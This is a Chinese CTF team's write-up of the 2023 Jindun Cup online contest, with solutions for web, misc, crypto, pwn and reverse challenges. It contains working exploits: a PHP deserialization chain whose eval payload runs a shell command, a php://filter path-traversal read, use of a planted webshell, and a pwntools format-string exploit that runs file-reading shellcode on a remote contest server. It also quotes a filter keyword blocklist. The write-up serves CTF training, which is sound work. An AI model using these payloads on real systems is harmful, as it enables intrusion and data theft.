2023金盾杯线上赛-AGRT战队-WP

WEB

ApeCoin

get_source

ezupload

easyphp

MISC

来都来了

芙宁娜

Honor

Crypto

我看看谁还不会RSA

hakiehs

babyrsa

PWN

sign-format

Re1

WEB

ApeCoin

扫描发现有源码泄露，访问www.tar.gz得到源码。

在源码中发现了冰蝎马。

Md5解码：13e40b614fcb3e19

买了之后得到密码为: 74658263

直接连接冰蝎。（或者直接套异或加密post传参）

get_source

泄露了php版本。

Php7.4.21存在源码泄露。

得到源码，发现是md5和sha1比较，用数组绕过。

flag{dc10891c-3acf-4796-8e21-06fcbb236ee9}

ezupload

本题非预期，直接访问/flag即可得到flag。

flag{15432d0c-29ac-4018-9dd1-6b499786b8a4}

easyphp

首先时require_once绕过，直接用伪协议配合多级符号链接的办法进行绕过。

php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台 (anquanke.com)

首先读取flag.php

?win=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/usr/share/nginx/html/flag.php

发现flag是假的，又读取hint.php.

发现反序列化。

<?php

error_reporting(0);



class mouse

{

    public $rice;

    function __isset($n){

        $this->rice->nothing();

    }



}



class dog

{

    public $a;

    public $b;

    public $c;

    function __wakeup(){

        $this->a = 'chance?';

    }

    function __destruct(){

        $this->b = $this->c;

        die($this->a);

    }

}



class ct

{

    public $fish;



    function __toString()

    {

        if(isset($this->fish->d))

        {

            echo 'you wrong';

        }

    }



}



class get

{

    public $cmd;



    function __call($name,$no)

    {

        eval($this->cmd);

    }

}



$pop = $_GET['pop'];



if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$pop)){

    echo "you will get flag".'</br>';

    unserialize($pop);

}

else{

    die("Try again!");

}

我们只需用地址链接绕过wakeup，和黑名单，短标签代替echo,``执行命令，然后可以用dir来查看目录，nl来读取flag。

Exp:

<?php

class mouse
{
    public $rice;
    function __construct()
    {
        $this->rice = new get;
    }
}

class dog
{
    public $a;
    public $b;
    public $c;
    function __construct()
    {
        $this->b = &$this->a;
        $this->c = new ct;
    }
}



class ct
{
    public $fish;
    function __construct()
    {
        $this->fish = new mouse;
    }
}



class get
{
    public $cmd;
    function __construct()
    {
        $this->cmd='?><?=`nl /realflag/you_want_flag.php`;?>';
    }
}

$a = new dog;

echo urlencode((serialize($a)));

flag{ba97a49e-d6fe-4885-ad11-9f932508fca0}

MISC

来都来了

尝试爆破压缩包无果，发现伪加密。

010修改数据。(两处)

改程

然后解压得到数据。

将数据继续进行base64解码。

得到：

flag{cp2ae315-eef4-3fra-a768-cd9xb19cdk4e}

芙宁娜

首先将图片中的base64字符提出来得到一部分flag。

另外一部分的话，用010打开，找到图片中被遮挡住的hex，将其组合起来，得到pyc文件，最后利用stegosaurus隐写得到8e8f}

所以总的flag为：flag{bc8394aa-7e32-47e8-a9fd-1bf683af8e8f}

Honor

基本可以说是原题：[LitCTF 2023]ssvvgg（Steghide爆破）_Myon⁶的博客-CSDN博客

我们首先分离。

得到jpg文件。题目提示了6位数。首先利用crunch生成一个字典。

然后利用脚本跑一下。

#bruteStegHide.sh

#!/bin/bash



for line in `cat $2`;do

    steghide extract -sf $1 -p $line > /dev/null 2>&1

    if [[ $? -eq 0 ]];then

        echo 'password is: '$line

        exit

    fi 

done

得到密码为114514，还得到文件secret.txt,

随波逐流直接解。

flag{424c076e-768c-3636-acb5-4676900b9eec}

Crypto

我看看谁还不会RSA

p、q、e、c都给了直接能求m求出来直接转化成字符串得到flag

import gmpy2


def hex_to_str(hex_str):
    bytes_list = [int(hex_str[i:i + 2], 16) for i in range(0, len(hex_str), 2)]
    ascii_str = ''.join([chr(b) for b in bytes_list])
    return ascii_str


c = 8232151627233115772131180151146951323147507324390914513031444555762539986162650
d = 37777
p = 8666789885346075954502743436174521501697
q = 2449101960789395782044494299423558347143
n = p * q
m = pow(c, d, n)
print(hex(m))

m = "666c61677b7235615f57686f5f77306e747d"
ascii_str = hex_to_str(m)
print(ascii_str)

flag{r5a_Who_w0nt}

hakiehs

下载得到vsdx文件使用在线网站打开

得到三串加密后的文字用的都是塞尔达里的文字分所以重复字母推测也是塞尔达里的人名

对照码表解出字符串得到flag ：flag{linkzeldaganon}

flag{linkzeldaganon}

babyrsa

题目是四个rsa组成的

低加密指数攻击，Hastad 的广播攻击，共因子攻击，共模攻击

总脚本如下：

import random
from gmpy2 import *
from Crypto.Util.number import *

def get_pq(n, e, d):
    while True:
        k = e * d - 1
        g = random.randint(3, n-2)
        while k % 2 == 0:
            k = k // 2
            temp = gmpy2.powmod(g, k, n) - 1
            if gmpy2.gcd(temp, n) > 1 and temp != 0:
                return gmpy2.gcd(temp, n)

n3 = 12051274697693290706124990444806864448117509935274260318752465436559967219137920860124919553314211368508765502664900094082142706661617704447394483260270502959912432422283933156562557829059776645511526175946830797944396210200593641364373812907632258856908808586745953996838876585148477089130920840126604759803726479860720545937822034855566021695483054110183583988907008833874797365887064421431419502425185380984500547228350047311439447317962190370712239063737356496598392557365981551946830095461329125051776103612935060093311720140311238109431293968822563969151282495204180885021489513059495503670571143636655452716469
ed = 69658816925700544629283247962254001698454915826363324167248687841428229657908807412264705772690024925952057696968940793220409087134042992738307862734366593456917584994891634588967704564463461140666162771378448630149297796122822465032888385447250081148319964251299583828999913167876190841429498106534206930794855355577715448350958330453012916812935545376223554657010675616333737562871829058955712614717967062388097830554769074812791090306089948504126897656071909647674533441922466703825370972386827731262770792101862343930584334617555653870995907311492428224015386618103475028606681032449205172767950706359755588301624951536442947704335651172215907781436880482476424688324617047897192103372008662354672541395688790786001

def factorize(n, e_d_1):
    g = 2
    while True:
        k = e_d_1
        while not k & 1:
            k //= 2
            p = int(gcd(pow(g, k, n) - 1, n)) % n
            if p > 1:
                return p, n // p
        g = int(next_prime(g))

e_d_1 = 69658816925700544629283247962254001698454915826363324167248687841428229657908807412264705772690024925952057696968940793220409087134042992738307862734366593456917584994891634588967704564463461140666162771378448630149297796122822465032888385447250081148319964251299583828999913167876190841429498106534206930794855355577715448350958330453012916812935545376223554657010675616333737562871829058955712614717967062388097830554769074812791090306089948504126897656071909647674533441922466703825370972386827731262770792101862343930584334617555653870995907311492428224015386618103475028606681032449205172767950706359755588301624951536442947704335651172215907781436880482476424688324617047897192103372008662354672541395688790786001-1
c = 11863157764887938780824579679371643447225713456937713139455448355138750546048767357754685394264878457427548420317960140760043591368197340631979346116915377490755707128510486267310697447660165717832704288859433884564622568136142152559210196202042032186946621446044322226115326468571388229369925749537907791870951835832402887333436573697535805221699431529443630706171928243718095829047868200440437300914623880058122845868296335686759626119932797809303358591871321868677694716513342508348424566444564091188283096388392533118302463885528323186673006330284158603096338578778923136251906089784179273618683529795470632440395

p = 93354166280947167833539683096118798106084867596287020276555488653205872987859801746684254263516217114159304058632013835768299155560709849272390696591877663191582507890284591155921659833532148373169277734804581509509984633376135064176560954186526127549825077504637255397234250633719215364937275738700717660719
q = 129091985690550359973833790091146198395778087257743694979450863523549458554652043962254166670266232149752471741954493310376155128942738655573094015353022428764487467130494383995010146802193442576035047727380869508672182718103620025385942937912806529910521900966008956204938991394692250823238247503135083004251
e = 0x10001
d = invert(e, (p-1)*(q-1))
n4 = pow(c, d, n3)
n4 = 11724141470213031356579859333168289639615622686202980979147607414099628001927870503704074638296450320671327227133196902015218180118453034164398442054531719756804900252542655705446585040034584849281570288775609323003673814723139607853980514502247385558743748114789081152782266165165126809308084620475099962391124207276377764447000610437375294321346891295581931069104337837729567504989594256840998015013333363391570945176593563683549152526955378806762080716974470953471818980944589068608135288232240285849862793197669031466836209176855431992367895720325301943048882628754497306752780016493475080579333402247446437049047

e = 65537
n = n4
c = 2816736056550831653973157899506262168480964803166756293572880189176577881630790000276999096206812411096080372881789954172637160950190474795330245979531766081159871312457936325666134181134500105905111359723389919329114623407411163535294830491463973203982802730253713465016495675821972476067998011690656116432599713401287450098365165426916405282214433290711569156342791601423305946953973954621413878573603456700590631970960732956331418205770421655635464391354229333745390853601777279128370563052468332181418652663994521837627330594810890259573212379994374279868029267872371446355933222697100056083650060776007666183073
hint = 1206808598909242535223376202389156773475195509201912000607981432006398598528783704808089821819011267947458676834452259929741273957718095195986027224077744723815196776751694084725008944111685380089765819072640641124176452132485301158877006786449055072190022151463977004480696273437839703625450503113220076272034783199115132878674594771158660499906314896727517373004222806580432047871587589294550579633876505236901173980743458637972423194533488244328660796974432193229150042095384808125939545211811637021512657530104465354340731623159501847989090953187756127021193637464098143884758072922518945377684605967349065921691
p = GCD(hint - pow(2019, n, n), n)
q = n // p
d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n)))

flag{y0U_R_th3_ch0sen_on3_1n_the_field_of_Crypt0gr4phy}

PWN

sign-format

只有一次读入到bss的机会，并且只有一次格式化字符串漏洞的机会

找到这个文章de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)-CSDN博客

找到这个栈里面的这个ld地址

然后找到elf文件里的_fini_array地址和format的地址0x404060

两者由于需要控制这个地址，所以改一下计算一下

为0x2e8，改成功

在地址上布置好orw的shellcode即可

这样exit在退出是，会返回到bss上执行orw。

Exp如下:

from pwn import*
context(os="linux",arch="amd64")
elf=ELF(&apos;./pwn&apos;)
libc=elf.libc
def bug():
    gdb.attach(p)
    pause()
#p=process(&apos;./pwn&apos;)
p=remote("123.56.121.61",port)

orw=shellcraft.open(&apos;./flag&apos;)
orw+=shellcraft.read(1,&apos;rsp&apos;,0x100)
orw+=shellcraft.write(2,&apos;rsp&apos;,0x100)

payload=b&apos;%&apos;+str(0x2e8).encode()+b&apos;c%30$hn&apos;
payload=payload.ljust(0x20,b&apos;a&apos;)
payload+=p64(0x404060+0x28)
payload+=asm(orw)
#bug()
p.sendlineafter(&apos;start!&apos;,payload)

p.interactive()

flag{607c5687-4cf6-357c-83de-a4eb954b7aca}

RE

Re1

这里有个函数跟进发现是16进制数据按c转汇编然后p封装再反编译看看

加密类似rc4，然后第一个字节已知直接逐字节爆破解密，写出解密脚本

#include <stdio.h>



int main()

{

    unsigned char crypto_flag[] =

    {

        0x63, 0x61, 0x31, 0x61, 0x63, 0x64, 0x30, 0x63, 0x37, 0x64,

        0x37, 0x31, 0x31, 0x31, 0x65, 0x65, 0x61, 0x66, 0x30, 0x32,

        0x39, 0x36, 0x30, 0x38, 0x35, 0x33, 0x33, 0x39, 0x63, 0x65,

        0x38, 0x33

    };



    int k = 0;



    for (size_t i = 3; i < 32; i++)

    {

        int mm = i;

        unsigned char v9[] =

        {

          0x63, 0xBD, 0x80, 0x56, 0x7D, 0x4C, 0xC6, 0xD5, 0x44, 0x66,

          0x6D, 0x2C, 0x98, 0xA4, 0x1E, 0x50, 0x19, 0x5C, 0x9E, 0x41,

          0x8B, 0x55, 0x05, 0x32, 0xBF, 0xE1, 0x7E, 0xFA, 0xB2, 0x93,

          0xF6, 0x2A

        };



     

        int v3[515] = { 0 };

        int v4;

        char v5;

        int j;

        int v7;

        int ii;



        v7 = 0;

        for (ii = 0; ii <= 255; ++ii)

        {

            v3[ii] = ii;

            v3[ii + 256] = *v9;

        }



        for (j = 1; j < mm; ++j)

        {

            for (ii = 0; ii <= 255; ++ii)

                v3[ii + 256] = v9[j - 1];



            for (ii = 0; ii <= 255; ++ii)

            {

                v7 = (v3[ii + 256] + v7 + v3[ii]) % 256;

                v4 = v3[v7];

                v3[v7] = v3[ii];

                v3[ii] = v4;

            }



            v5 = 0;

            for (ii = 0; ii <= 255; ii += 2)

            {

                v5 += v3[ii];

                v5 ^= v3[ii + 256];

            }



            if (j == (mm - 2))

            {

                k = v5;

            }

        }



        v9[mm - 2] ^= k;

        printf("%c", v9[mm - 2 ]);

    }



    return 0;

}